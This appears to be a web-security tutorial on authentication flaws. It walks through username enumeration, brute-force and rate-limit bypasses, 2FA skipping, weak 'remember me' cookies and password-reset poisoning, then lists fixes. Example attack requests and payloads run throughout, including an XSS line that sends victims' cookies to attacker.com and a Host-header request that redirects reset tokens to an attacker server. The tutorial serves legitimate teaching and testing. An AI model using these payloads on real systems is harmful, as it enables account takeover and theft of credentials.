1. What is Authentication — and Why It Fails

Before attacking anything, understand the distinction that defines the entire category:

An authentication vulnerability breaks the first one. And when identity can no longer be trusted, authorization becomes meaningless — the attacker is already inside.

These vulnerabilities exist for a handful of consistent reasons:

Key Insight Authentication bugs are rarely about breaking cryptography. They are almost always about logic — the developer built a correct-path flow and forgot that an attacker will take every other path.

2. Step 0: Reconnaissance — Reading the Login Page

Before sending a single attack payload, spend time observing. Every login page leaks information if you know what to look for.

What to note when you land on a login page

These observations directly map to which attack class to apply. The methodology is not random — it follows the behaviour the application shows you.

Decision Flow Send one wrong login with a random username. Read the error. Send one with a real-looking username. Read the error again. If the messages differ — start with enumeration. If they are identical — move to timing or length analysis.

3. User Enumeration — Finding Valid Usernames

Enumeration is the act of determining which usernames actually exist on the system. It is almost always the first step in a credential attack — there is no point brute-forcing passwords against a username that does not exist.

Attack 1 — Different Error Messages

ATTACK 01 Username Enumeration via Distinct Error Messages

The most obvious form. The app returns "Invalid username" for a non-existent account and "Incorrect password" for a valid one. An attacker simply sweeps a username wordlist and looks for the different response.

How to find it: Submit a login with a random username and a wrong password. Note the message. Submit again with a username you suspect is real. If the messages differ — the app is leaking existence information.

How to exploit it: Automate requests across a username wordlist (Burp Suite Intruder, ffuf, wfuzz). Flag responses that contain the "wrong password" message — those usernames are valid. Then move to brute-forcing the password.

Attack 2 — Subtle Response Differences

ATTACK 02 Enumeration via Subtly Different Responses

The developer tried to fix Attack 1 by using the same message for every failure. But introduced a subtle inconsistency — a trailing space, a missing period, a capitalisation difference. Invisible in the browser, but measurable in raw response bytes.

How to find it: Extract the exact error text from every response and sort by it. One entry will differ by a single character — that is the valid username. Sorting results by response length is the fastest method — a one-byte difference shifts the length column.

Attack 3 — Timing Side Channel

ATTACK 03 Enumeration via Response Timing

Some applications only run the password hash comparison if the username exists. Hashing algorithms like bcrypt are intentionally slow. This means a valid username with a long password produces a noticeably slower response than an invalid username — even when the error message is identical.

How to exploit it: Send requests with a very long password (100+ characters). Measure response time. Valid usernames take longer because the app spent time hashing. Invalid usernames return immediately because the app rejected at the username check and never hashed.

To bypass IP-based rate limiting while doing this, rotate the apparent source IP using headers the application trusts: X-Forwarded-For, X-Real-IP, True-Client-IP.

# Example: rotating IP header to avoid rate limit
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.{incrementing}
Content-Type: application/x-www-form-urlencoded

username=candidate_user&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

4. Brute Force & Bypassing Protections

Once a valid username is confirmed, the next step is recovering the password. Most applications implement some form of protection — but protections are frequently incomplete, inconsistent, or only applied to one endpoint.

Attack 4 — Straight Brute Force (No Protection)

If the app has no lockout and no rate limit, systematically try every password from a wordlist. The correct password is identified by a different response — typically a redirect to the authenticated area instead of an error message.

Attack 5 — IP Block Bypass via Credential Interleaving

ATTACK 05 Flawed Brute-Force Protection — IP Block Bypass

The app blocks the IP after N consecutive failed attempts. But the counter resets on a successful login. An attacker exploits this by owning a valid account on the system and interleaving their own correct credentials between each guess at the target.

# Payload pattern — alternate between own creds and target guesses
own_user:own_pass       ← resets counter
target_user:guess1
own_user:own_pass       ← resets counter again
target_user:guess2
own_user:own_pass
target_user:guess3
...

Each pair costs one guess at the target but keeps the counter below the lockout threshold. The brute force runs indefinitely.

Attack 6 — Using Account Lockout for Enumeration

ATTACK 06 Username Enumeration via Account Lockout

Lockout itself becomes an enumeration oracle. If you spray a username list with the same wrong password enough times, only the real accounts get locked. The lockout message reveals which usernames are valid.

The deeper trick: once locked, try the full password wordlist anyway. Most responses will say "account locked." But the one correct password will return a different response — some apps skip the lockout check when the credentials are actually correct.

Attack 7 — Rate Limit Bypass via JSON Array

ATTACK 07 Rate Limit Bypass via JSON Password Array

Rate limiting is often counted per HTTP request. If the application accepts JSON and processes an array of passwords in a single request, an attacker can test hundreds of passwords while only consuming one rate-limit counter hit.

// Normal request
{ "username": "masaaki", "password": "wrongpass" }

// Attack request — entire wordlist in one HTTP request
{
  "username": "masaaki",
  "password": ["123456", "password", "letmein", "qwerty" ...]
}

This works on Node.js/Express backends and any framework that parses JSON request bodies and iterates array values. Test it by changing the Content-Type to application/json first — if the app still responds normally, it accepts JSON and is worth testing for this.

5. Two-Factor Authentication Flaws

2FA is widely deployed as a security upgrade — but it is only as strong as its implementation. A poorly implemented 2FA step can be bypassed, brute-forced, or tricked into verifying the wrong account entirely.

Attack 9 — Skipping the 2FA Step Entirely

ATTACK 09 2FA Simple Bypass — Navigate Past It

Some applications create a valid authenticated session cookie at step 1 of login (after username + password), before 2FA is verified. The 2FA page is just a UI checkpoint — the session is already trusted by the server.

Test: Log in with valid credentials. When redirected to the 2FA page, do not enter any code. Manually navigate to /dashboard, /account or wherever authenticated users land. If the page loads — the 2FA is decorative. No code needed.

Impact Any attacker with stolen credentials can fully bypass 2FA. The entire second factor provides zero protection.

Attack 10 — 2FA Broken Logic (Verify the Wrong User)

ATTACK 10 2FA Broken Logic — Verifying a Different Account's OTP

The application generates a one-time code tied to a username stored in a cookie or request parameter — not to the session itself. An attacker logs in with their own account to get a valid session, then changes the username parameter to the victim's username before submitting the OTP verification. The server generates a new OTP for the victim's account and the attacker brute-forces the 4-digit code (10,000 combinations).

# Step 1: log in as self → session + 2FA page
GET /login-2fa
Cookie: session=abc123; verify=attacker_user

# Step 2: change verify param to victim's username
GET /login-2fa
Cookie: session=abc123; verify=victim_user

# Step 3: brute-force OTP — only 10,000 combinations for 4-digit
POST /login-2fa
Cookie: session=abc123; verify=victim_user
mfa-code=00009999

Root cause: The server trusts a client-supplied parameter to decide whose OTP to validate. Identity should be tied to the session on the server, never to a value the client can modify.

Attack 11 — Brute-Forcing the OTP

If 2FA has no lockout and no OTP expiry, an attacker simply brute-forces all possible codes. A 4-digit numeric OTP has only 10,000 combinations — trivially exhausted in seconds. A 6-digit OTP has 1,000,000 — still feasible with a high-speed tool. If the session expires after too many wrong guesses, use a macro to re-login between batches.

6. Persistent Cookie Attacks

Attack 12 — Brute-Forcing the "Stay Logged In" Cookie

ATTACK 12 Cracking a Predictable Persistent Cookie

"Remember me" features generate a long-lived cookie. Developers often construct this cookie from predictable components:

# Common weak pattern
cookie = base64( username + ":" + md5(password) )

# Decoded example
base64_decode("c3RlcGhhbmU6OTY5OTBmOTBhNTdjNjZjNzNlYzI0YTZiN2FiMTAxMzY=")
→ "stephane:96990f90a57c66c73ec24a6b7ab10136"
→ MD5("hunter2") = 96990f90a57c66c73ec24a6b7ab10136 ✓

Once the pattern is confirmed on your own account, recreate it for the target: hash each password candidate with MD5, prepend the target username, Base64 encode the result, and submit as the cookie. A matching response (access granted) reveals the correct password — and gives you a valid persistent session cookie.

What to Check Decode any long-lived cookie with Base64. If you see structured data (username, hash, timestamp), reverse-engineer the construction formula using your own credentials first.

Attack 13 — Stealing Cookies via XSS to Crack Offline

When XSS is present in the application, steal the victim's persistent cookie using a script like document.location='//attacker.com/?c='+document.cookie. The stolen cookie may contain a hashed password. Crack the hash offline using tools like Hashcat or online databases like CrackStation. This chains two vulnerabilities — XSS and a weak cookie construction — for full account takeover including the plaintext password.

7. Password Reset Vulnerabilities

The password reset flow is a high-value target. It is built to bypass normal authentication — that is its purpose. Flaws here frequently lead to direct account takeover with no brute force required.

Attack 14 — Token Not Bound to the User

ATTACK 14 Password Reset Broken Logic

The application generates a valid reset token and emails it. The attacker requests a reset for their own account, receives a valid token, then submits the final password change form with that token — but changes the username parameter in the POST body to the victim's username.

# Normal reset — own account
POST /forgot-password?token=abc123
username=attacker&new-password-1=hacked&new-password-2=hacked

# Attack — same valid token, different username
POST /forgot-password?token=abc123
username=victim&new-password-1=hacked&new-password-2=hacked

If the server validates the token independently of the username — both existing in the same request — the victim's password is changed. The token is valid, just not bound to the right account.

Bonus test: Delete the token parameter entirely. Some apps process the reset without checking for it at all.

Attack 15 — Password Reset Poisoning via Host Header

ATTACK 15 Host Header Injection in Password Reset

When a user requests a password reset, the application builds the reset link using the Host header from the request. If the app also trusts the X-Forwarded-Host header (commonly added by reverse proxies), an attacker can inject their own server address into that header. The victim receives a legitimately-worded email — but the reset link points to the attacker's server.

# Injected request — real Host stays, X-Forwarded-Host poisoned
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker-server.com
Content-Type: application/x-www-form-urlencoded

username=victim

# Email the victim receives
Click here to reset your password:
https://attacker-server.com/forgot-password?token=2yn4jx36f2t4ojjew1lr6

When the victim clicks the link, their browser sends the token to the attacker's server. The attacker copies the token and uses it on the real target domain — where the reset page actually exists — to set a new password.

Why This Works The app trusts a client-supplied header to build server-side URLs. X-Forwarded-Host is meant to be set by trusted infrastructure, not by end users. Accepting it from untrusted requests is the root cause.

8. Password Change Endpoint Abuse

ATTACK 16 Brute-Force via Unprotected Password Change Form

The login endpoint has rate limiting and lockout. The password change endpoint — which also accepts the current password — does not. The response to a wrong current password differs depending on whether the new password fields match:

  • Wrong current password + matching new passwords → "Account locked" (dangerous path — avoid)
  • Wrong current password + mismatched new passwords"Current password is incorrect"
  • Correct current password + mismatched new passwords"New passwords do not match"

Cases 2 and 3 return different messages even though the new password was wrong in both. This difference leaks whether the current password was correct — turning the change-password form into an unprotected brute-force oracle.

# Attack request — always use mismatched new passwords to avoid lockout
POST /account/change-password
username=victim
&current-password=§candidate§
&new-password-1=aaa
&new-password-2=bbb   ← intentionally mismatched

# Signal: response containing "New passwords do not match"
# = current password WAS correct

Note that username is often a hidden field in the form — submitted as a POST body parameter that can be freely changed, no session needed.

9. Prevention — How to Build It Right

Every vulnerability described above has a direct, well-understood fix. There are no exotic mitigations required — just disciplined implementation.

Generic Error Messages

Always return the same message for invalid username and invalid password. Never leak which one was wrong.

Consistent Timing

Always run the full authentication logic — including password hashing — regardless of whether the username exists.

Proper Rate Limiting

Apply rate limits on all endpoints that accept credentials — login, password change, 2FA verification. Not just the main login page.

Lockout Consistency

If you implement account lockout, make it unconditional — do not skip it when credentials happen to be correct.

2FA Tied to Session

Never issue a fully authenticated session before 2FA completes. Only upgrade the session trust level after the second factor is verified.

OTP Bound to Session

Store OTP state server-side, tied to the session ID — never to a username in a cookie or request parameter the user controls.

Cryptographically Strong Cookies

Persistent session tokens must be random and unpredictable — never constructed from username + password hash. Use a CSPRNG.

Bind Reset Tokens to Users

A password reset token must be permanently tied to one specific account at generation time. Ignore any username parameter in the reset request.

Never Trust X-Forwarded-Host

Build internal URLs using a server-side configured base URL — never from any client-supplied header.

OTP Expiry & Rate Limiting

OTP codes must expire after 60–120 seconds. Lock the 2FA after 5 failed attempts and require re-authentication.

The Core Rule Never trust client-supplied values to identify who an action applies to. Username in a cookie, account ID in a POST body, a token without binding — all of these let an attacker redirect an action to a different user. Identity must be derived from the server-side session, not from the request.

Tools Used in This Research

Responsible Disclosure All techniques described in this article are for authorised penetration testing, bug bounty programs and educational purposes only. Always obtain written permission before testing any system you do not own.